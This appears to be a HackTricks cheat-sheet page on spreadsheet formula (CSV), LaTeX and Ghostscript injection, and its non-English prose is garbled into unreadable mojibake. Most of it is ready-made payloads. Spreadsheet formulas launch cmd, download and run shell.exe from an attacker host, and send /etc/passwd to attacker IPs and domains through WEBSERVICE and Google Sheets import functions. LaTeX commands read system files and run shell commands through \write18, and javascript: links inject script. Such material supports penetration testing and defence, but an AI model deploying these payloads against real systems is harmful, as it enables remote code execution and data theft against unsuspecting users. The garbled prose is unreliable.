18 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Formula Injection
Info
рдпрджрд┐ рдЖрдкрдХрд╛ input CSV files (рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓ рдЬреЛ рд╢рд╛рдпрдж Excel рджреНрд╡рд╛рд░рд╛ рдЦреЛрд▓реА рдЬрд╛рдПрдЧреА) рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк Excel formulas рдбрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рддрдм executed рд╣реЛрдВрдЧреЗ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╛рдЗрд▓ рдЦреЛрд▓рддрд╛ рд╣реИ рдпрд╛ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ Excel рд╢реАрдЯ рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддрд╛ рд╣реИред
{% hint style="danger" %} рдЖрдЬрдХрд▓ Excel рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдЧрд╛ (рдХрдИ рдмрд╛рд░) рдЬрдм Excel рдХреЗ рдмрд╛рд╣рд░ рд╕реЗ рдХреБрдЫ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХрд╛рд░реНрд░рд╡рд╛рдИ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рд▓рд┐рдП, рдЕрдВрддрд┐рдо payload рдкрд░ рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдЕрдВрддрд┐рдо рдПрдХреНрд╕реЗрд▓ рд╢реАрдЯ рд╕реЗ рд╕рд╛рдордЧреНрд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдордирдорд╛рдиреЗ рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдФрд░ рдЪреЗрддрд╛рд╡рдиреА рд╕рдВрдХреЗрддреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)ред
The following example was taken from https://payatu.com/csv-injection-basic-to-exploit
рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рдЫрд╛рддреНрд░ рд░рд┐рдХреЙрд░реНрдб рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдЙрд▓реНрд▓рдВрдШрди рдХреЛ CSV рдЗрдВрдЬреЗрдХреНрд╢рди рд╣рдорд▓реЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рдЗрд░рд╛рджрд╛ рдЙрд╕ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд┐рдХреНрд╖рдХ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рдзрд┐ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рд╕реВрддреНрд░ рджрд░реНрдЬ рдХрд░рдХреЗред рд╣рдорд▓рд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ unfolds:
- рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдХрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди:
- рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЫрд╛рддреНрд░ рд╡рд┐рд╡рд░рдг рдлреЙрд░реНрдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕рдореЗрдВ рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕реВрддреНрд░ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ (рдЬреИрд╕реЗ,
=HYPERLINK("<malicious_link>","Click here")
). - рдпрд╣ рд╕реВрддреНрд░ рдПрдХ рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд░реНрд╡рд░ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред
- рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХрд╛ рдирд┐рд░реНрдпрд╛рдд:
- рд╢рд┐рдХреНрд╖рдХ, рд╕рдордЭреМрддреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдирдЬрд╛рди, рдбреЗрдЯрд╛ рдХреЛ CSV рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
- CSV рдлрд╝рд╛рдЗрд▓, рдЬрдм рдЦреЛрд▓реА рдЬрд╛рддреА рд╣реИ, рддрдм рднреА рдЗрд╕рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдкреЗрд▓реЛрдб рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдореЗрдВ рдПрдХ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред
- рд╣рдорд▓реЗ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛:
- рдПрдХ рд╢рд┐рдХреНрд╖рдХ рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдпрд╣ рдЫрд╛рддреНрд░ рдХреЗ рд╡рд┐рд╡рд░рдг рдХрд╛ рдПрдХ рд╡реИрдз рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред
- рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (рд╕рдВрднрд╡рддрдГ рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдпрд╛ рд╢рд┐рдХреНрд╖рдХ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рд╡рд┐рд╡рд░рдг рд╢рд╛рдорд┐рд▓) рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред
- рдбреЗрдЯрд╛ рдХреЛ рд▓реЙрдЧ рдХрд░рдирд╛:
- рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд╕рд░реНрд╡рд░ рд╢рд┐рдХреНрд╖рдХ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рднреЗрдЬреЗ рдЧрдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓реЙрдЧ рдХрд░рддрд╛ рд╣реИред
- рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рдЗрд╕ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЫрд╛рддреНрд░реЛрдВ рдФрд░ рд╕рдВрд╕реНрдерд╛рди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
RCE
рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдореВрд▓ рдкреЛрд╕реНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред
рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╛ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ Excel рдореЗрдВ, рдПрдХ рд╕реБрд╡рд┐рдзрд╛ рдЬрд┐рд╕реЗ рдбрд╛рдпрдирд╛рдорд┐рдХ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬ (DDE) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕рдХреНрд╖рдо рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП:
- рдлрд╝рд╛рдЗрд▓ тЖТ рд╡рд┐рдХрд▓реНрдк тЖТ рдЯреНрд░рд╕реНрдЯ рд╕реЗрдВрдЯрд░ тЖТ рдЯреНрд░рд╕реНрдЯ рд╕реЗрдВрдЯрд░ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ рдмрд╛рд╣рд░реА рд╕рд╛рдордЧреНрд░реА рдкрд░ рдЬрд╛рдПрдВ, рдФрд░ рдбрд╛рдпрдирд╛рдорд┐рдХ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬ рд╕рд░реНрд╡рд░ рд▓реЙрдиреНрдЪ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
рдЬрдм рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдЦреЛрд▓реА рдЬрд╛рддреА рд╣реИ (рдФрд░ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ), рддреЛ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреЗрд▓реЛрдб рд╣реЛрдЧрд╛:
=cmd|' /C calc'!xxx
рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдХреБрдЫ рд╡рд┐рдзрд┐рдпрд╛рдБ рд╣реИрдВ:
- рд╕реНрдерд╛рдиреАрдп
/etc/passwd
рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкрд╣рд▓реА рдкрдВрдХреНрддрд┐ рдкрдврд╝рдирд╛:='file:///etc/passwd'#$passwd.A1
- рдкрдврд╝реЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрд╢рди (рдкрдврд╝реЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ DNS рдХреНрд╡реЗрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд DNS рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрдирд╛):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets рдРрд╕реА рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ OOB рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯреНрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
- CONCATENATE: рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИ -
=CONCATENATE(A2:E2)
- IMPORTXML: рд╕рдВрд░рдЪрд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░реЛрдВ рд╕реЗ рдбреЗрдЯрд╛ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: RSS рдпрд╛ ATOM рдлрд╝реАрдб рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: HTML рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдпрд╛ рд╕реВрдЪрд┐рдпреЛрдВ рд╕реЗ рдбреЗрдЯрд╛ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рд╕реЗ рд╕реЗрд▓ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: рдПрдХ рд╕реЗрд▓ рдореЗрдВ рдПрдХ рдЫрд╡рд┐ рдбрд╛рд▓рддрд╛ рд╣реИ -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
рдЖрдорддреМрд░ рдкрд░, рд╕рд░реНрд╡рд░ рдЬреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ LaTeX рдХреЛрдб рдХреЛ PDF рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд╡реЗ pdflatex
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ (рдЕ)рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП 3 рдореБрдЦреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ:
--no-shell-escape
:\write18{command}
рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░реЗрдВ, рднрд▓реЗ рд╣реА рдпрд╣ texmf.cnf рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛред--shell-restricted
:--shell-escape
рдХреЗ рд╕рдорд╛рди, рд▓реЗрдХрд┐рди рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реЗрдЯ рдХреА рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд **рдХрдорд╛рдВрдбреНрд╕ рдкрд░ рд╕реАрдорд┐рддред--shell-escape
:\write18{command}
рд╕рдВрд░рдЪрдирд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред рдХрдорд╛рдВрдб рдХреЛрдИ рднреА рд╢реЗрд▓ рдХрдорд╛рдВрдб рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЗрд╕ рд╕рдВрд░рдЪрдирд╛ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдЬрд╛рддреА рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП RCE рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП --shell-restricted
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред
Read file
рдЖрдкрдХреЛ [ рдпрд╛ $ рдЬреИрд╕реЗ рд░реИрдкрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
рдПрдХрд▓ рдкрдВрдХреНрддрд┐ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
рдХрдИ рдкрдВрдХреНрддрд┐рдпреЛрдВ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦреЗрдВ
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Command execution
рдХрдорд╛рдВрдб рдХрд╛ рдЗрдирдкреБрдЯ stdin рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
рдпрджрд┐ рдЖрдкрдХреЛ рдХреЛрдИ LaTex рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ, рддреЛ рдЦрд░рд╛рдм рд╡рд░реНрдгреЛрдВ рдХреЗ рдмрд┐рдирд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП base64 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
@EdOverflow рд╕реЗ
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
рдЪреЗрдХ рдХрд░реЗрдВ https://blog.redteam-pentesting.de/2023/ghostscript-overview/
рд╕рдВрджрд░реНрдн
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.